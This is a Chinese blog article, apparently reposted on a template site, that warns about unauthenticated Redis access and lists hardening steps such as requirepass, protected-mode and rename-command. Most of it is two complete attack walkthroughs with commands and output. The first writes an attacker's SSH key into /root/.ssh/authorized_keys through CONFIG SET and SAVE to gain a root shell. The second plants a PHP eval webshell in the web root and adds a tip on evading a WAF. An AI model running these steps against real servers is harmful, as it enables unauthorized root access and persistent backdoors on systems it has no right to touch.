谨防利用Redis未授权访问漏洞入侵服务器

这篇具有很好参考价值的文章主要介绍了谨防利用Redis未授权访问漏洞入侵服务器。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

说明:

Redis是一个开源的,由C语言编写的高性能NoSQL数据库,因其高性能、可扩展、兼容性强,被各大小互联网公司或个人作为内存型存储组件使用。
但是其中有小部分公司或个人开发者,为了方便调试或忽略了安全风险,直接用root启动redis,没有设置密码并直接对外开放了6379端口,那么这就是一个危险的行为。

漏洞成因:

未对Redis进行充分的访问控制,可利用Redis备份到文件的任意文件写入漏洞实现攻击。

漏洞影响范围:

  1. 对公网开放的6379端口。
  2. 非保护模式下使用root用户启动的redis。
  3. 未设置密码或设置弱密码的Redis服务。

危害:

  1. 利用redis的任意文件写入漏洞,利用SSH可获取服务器root权限。
  2. 利用redis的任意文件写入漏洞,可在项目中写入一句话木马。
  3. 利用redis的任意文件写入漏洞,造成其它危险操作。

解决方案:

  1. 使用防火墙策略关闭Redis端口:firewall-cmd --zone=public --remove-port=6379/tcp --permanent && systemctl restart firewalld
  2. 找到redis配置文件的requirepass项并配置复杂的密码,毕竟弱口令也是漏洞。
  3. 低权限下运行redis,不要使用root用户(再次攻击会提示(error) ERR Changing directory: Permission denied)。
  4. 配置redis保护模式,配置文件设置protected-mode yes。
  5. 配置文件设置命令更名或禁用,空引号不填充为禁用,填充为起别名:
    rename-command CONFIG "别名"
    rename-command FLUSHALL ""
    rename-command FLUSHDB ""
    rename-command CONFIG ""
    rename-command EVAL ""

利用方式1(获取root权限):

0. 背景:

CentOS7.6,有一台IP为192.168.1.180且对外开放6379端口的服务器,Redis Server可远程被连接。攻击者首次接触这台服务器。

1. nmap扫描

nmap 192.168.1.180 -p 6379
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-24 16:10 CST
Nmap scan report for 192.168.1.180 (192.168.1.180)
Host is up (0.0014s latency).

PORT     STATE SERVICE
6379/tcp open  redis

Nmap done: 1 IP address (1 host up) scanned in 0.11 seconds
#发现开放了Redis服务

2. 尝试远程连接

redis-cli -h 192.168.1.180 -p 6379
#远程连接成功,尝试使用
192.168.1.180:6379> set abc 123
OK
#清空redis,为存储接下来的ssh公钥做准备
192.168.1.180:6379> flushall
OK
#退出
exit

3. 本地生成SSH密钥对,将公钥写入自定义文件,发送给攻击目标。

#生成SSH密钥对
ssh-keygen -t rsa
#将其公钥写入自定义文件
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /test/ssh.txt
#将公钥文件重定向给远程的redis
cat /test/ssh.txt | redis-cli -h 192.168.1.180 -p 6379 -x set ssh_key

4. 利用Redis备份功能将ssh公钥写入到目标服务器的root目录下

#远程连接
redis-cli -h 192.168.1.180 -p 6379
#设置 Redis 数据库的持久化存储路径
192.168.1.180:6379> config set dir /root/.ssh
#设置 Redis 数据库的持久化存储文件名
192.168.1.180:6379> config set dbfilename authorized_keys
#保存
192.168.1.180:6379> save

5. 远程连接目标服务器,成功入侵并获取了root权限

ssh root@192.168.1.180 -i /root/.ssh/id_rsa
The authenticity of host '192.168.1.180 (192.168.1.180)' can't be established.
ED25519 key fingerprint is SHA256:v7jh2lXha1qeJTqZtHxfFcvdBXxtyMm0z10M3NuvMKM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.180' (ED25519) to the list of known hosts.
Last login: Fri Nov 24 11:12:42 2023 from 192.168.2.183
#验证用户
[root@lnmp ~]# whoami
root

利用方式2(web站点写入一句话木马):

0. 背景:

CentOS7.6,有一台IP为192.168.1.180且对外开放6379端口的服务器,Redis Server可远程被连接。攻击者首次接触这台服务器,服务器有LNMP环境。

1. nmap扫描

└─# nmap 192.168.1.180 -p 80,443,6379
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-24 16:52 CST
Nmap scan report for 192.168.1.180 (192.168.1.180)
Host is up (0.0081s latency).

PORT     STATE    SERVICE
80/tcp   open     http
443/tcp  filtered https
6379/tcp open     redis
MAC Address: 00:0C:29:01:E8:DC (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
#发现开放了Redis和http服务

2. 尝试远程连接Redis,这一步走不通下面流程就不用走了

redis-cli -h 192.168.1.180 -p 6379
#远程连接成功,尝试使用
192.168.1.180:6379> set abc 123
OK

3. 尝试获取Web服务技术栈,发现用的是PHP

curl -I 192.168.1.180
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 24 Nov 2023 08:53:22 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.4.6

3. 在Kali上安装dirsearch,找到带有phpinfo或者报错的页面,从而获取web站点的路径,dirsearch需要python3环境

#pip配置阿里云镜像
pip config set global.index-url https://mirrors.aliyun.com/pypi/simple/
pip config set install.trusted-host mirrors.aliyun.com
#克隆dirsearch
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch
#期间会提示安装一些包,正常安装就行。执行dirsearch,尝试路径爆破后进行手动过滤。
python3 dirsearch.py -u http://192.168.1.180 -e php
#例如在192.168.1.180/err.php下找到了一个携带php报错的地址,手动访问
Warning: Undefined variable $res in /Host/err.php on line 2
#至此,发现php的站点在/Host下。

4. 将PHP一句话木马发送给目标的redis服务器

redis-cli -h 192.168.1.180 -p 6379
192.168.1.180:6379> flushall
OK
192.168.1.180:6379> config set dir /Host
OK
192.168.1.180:6379> config set dbfilename "test.php"
OK
192.168.1.180:6379> set test "\n\n<?php eval($_GET['a']);?>\n\n"
OK
192.168.1.180:6379> save
OK

远程的文件是这样的,既包含了其它key的备份,也包含了一句话木马:文章来源地址https://www.toymoban.com/news/detail-747019.html

REDIS0009�	redis-ver5.0.8�
redis-bits�@�ctime�dce�used-mem��
 �aof-preamble� � �  test

<?php eval($_GET['a']);?>

�'t!	p�w

5. 验证一句话木马文件,成功写入一句话木马

#由于PHP只解析从<?php到?>结束的代码,所以其余字符不受影响。
#为了防止被WAF拦截,传参过程也可自定义编码
http://192.168.1.180/test.php?a=phpinfo();

到了这里,关于谨防利用Redis未授权访问漏洞入侵服务器的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Redis未授权访问漏洞搭建复现

    今天我们来学习一下什么是Redis未授权访问漏洞,以及各种利用方法。 文章目录 一、 什么是Redis未授权访问漏洞 二、 Redis环境搭建 三、漏洞利用 四、漏洞总结 五、漏洞防护          Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访

    2024年02月06日
    浏览(39)
  • Redis未授权访问漏洞(一)先导篇

    Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露到公网上。 如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis以及

    2024年02月15日
    浏览(33)
  • Redis未授权漏洞复现及利用(window,linux)

    目录 1.了解redis 2.redis漏洞原理 3.redis漏洞复现 3.1 安装redis 3.1.1 Linux安装redis  3.1.2 windows安装redis 4.redis漏洞利用 4.1利用redis漏洞写webshell 4.1.1利用前提 4.1.2上传webshell 4.2利用redis漏洞ssh密钥连接 4.2.1 ssh密钥连接 4.2.2 利用前提 4.2.3 客户端生成密钥  4.2.4注意 4.3利用crontab反弹sh

    2023年04月08日
    浏览(69)
  • 【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞

    影响版本 Redis 2.x,3.x,4.x,5.x Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴

    2023年04月25日
    浏览(30)
  • Web安全:Redis 未授权访问漏洞 测试.

    Redis 默认情况下绑定在 6379 端口,然后如果没有进行添加防火墙规则避免其他非信任来源 IP 访问等相关安全策略,直接暴露在公网上。然后再没有设置密码或者设置了弱密码,因此导致此漏洞的产生. Redis 未授权访问漏洞的 危害: Redis 未授权访问漏洞 测试: 第一步:使用

    2024年02月11日
    浏览(34)
  • redis未授权访问漏洞三种提权方式

    扫描/连接默认的6379端口➢ 利用方式: ⚫ 向Web目录中写shell:需要猜到Web目录地址 ⚫ 写ssh-keygen公钥然后使用私钥登陆 ⚫ 利用crontab反弹shell Redis 是一个开源(BSD许可)的,内存中的数据结构存储系统,它可以用作数据库、缓存和消息中间件。 它支持多种类型的数据结构,

    2024年02月07日
    浏览(31)
  • 数据库安全-Redis未授权&Hadoop&Mysql&未授权访问&RCE 漏洞复现

    未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露,包括端口的未授权常见页面的未授权 /admin.php /menu.php 常见的未授权访问漏洞及默认端口: 默认端口统

    2024年02月03日
    浏览(37)
  • H2db console 未授权访问RCE 漏洞复现+利用(CVE-2022-23221)

    H2是Thomas Mueller提供的一个开源的、纯java实现的关系数据库。H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。 H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+ 中修复。2.1.210 之前的 H2 控制台允许远

    2024年02月14日
    浏览(29)
  • spring 微服务nacos未授权访问漏洞修复

    近来,公司系统做安全渗透又被扫描出了nacos漏洞问题。报告已对漏洞进行了说明: Nacos是一个为动态服务发现和配置以及服务管理而设计的平台。Nacos如果没有配置认证管理,攻击者可以在无需授权的情况下获取敏感信息。 公司系统使用版本为2.0.3。不支持进行认证管理,所

    2024年02月10日
    浏览(29)
  • 解决BladeX微服务Swagger资源未授权访问漏洞

    客户线上环境,第三方进行安全检测时候,反馈来一个\\\"Spring\\\"接口未授权访问漏洞。如图: 服务平台后端采用开源框架BladeX微服务版本。BladeX 是由一个商业级项目升级优化而来的SpringCloud微服务架构,采用Java8 API重构了业务代码,完全遵循阿里巴巴编码规范。采用Spring Boot

    2024年04月17日
    浏览(24)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包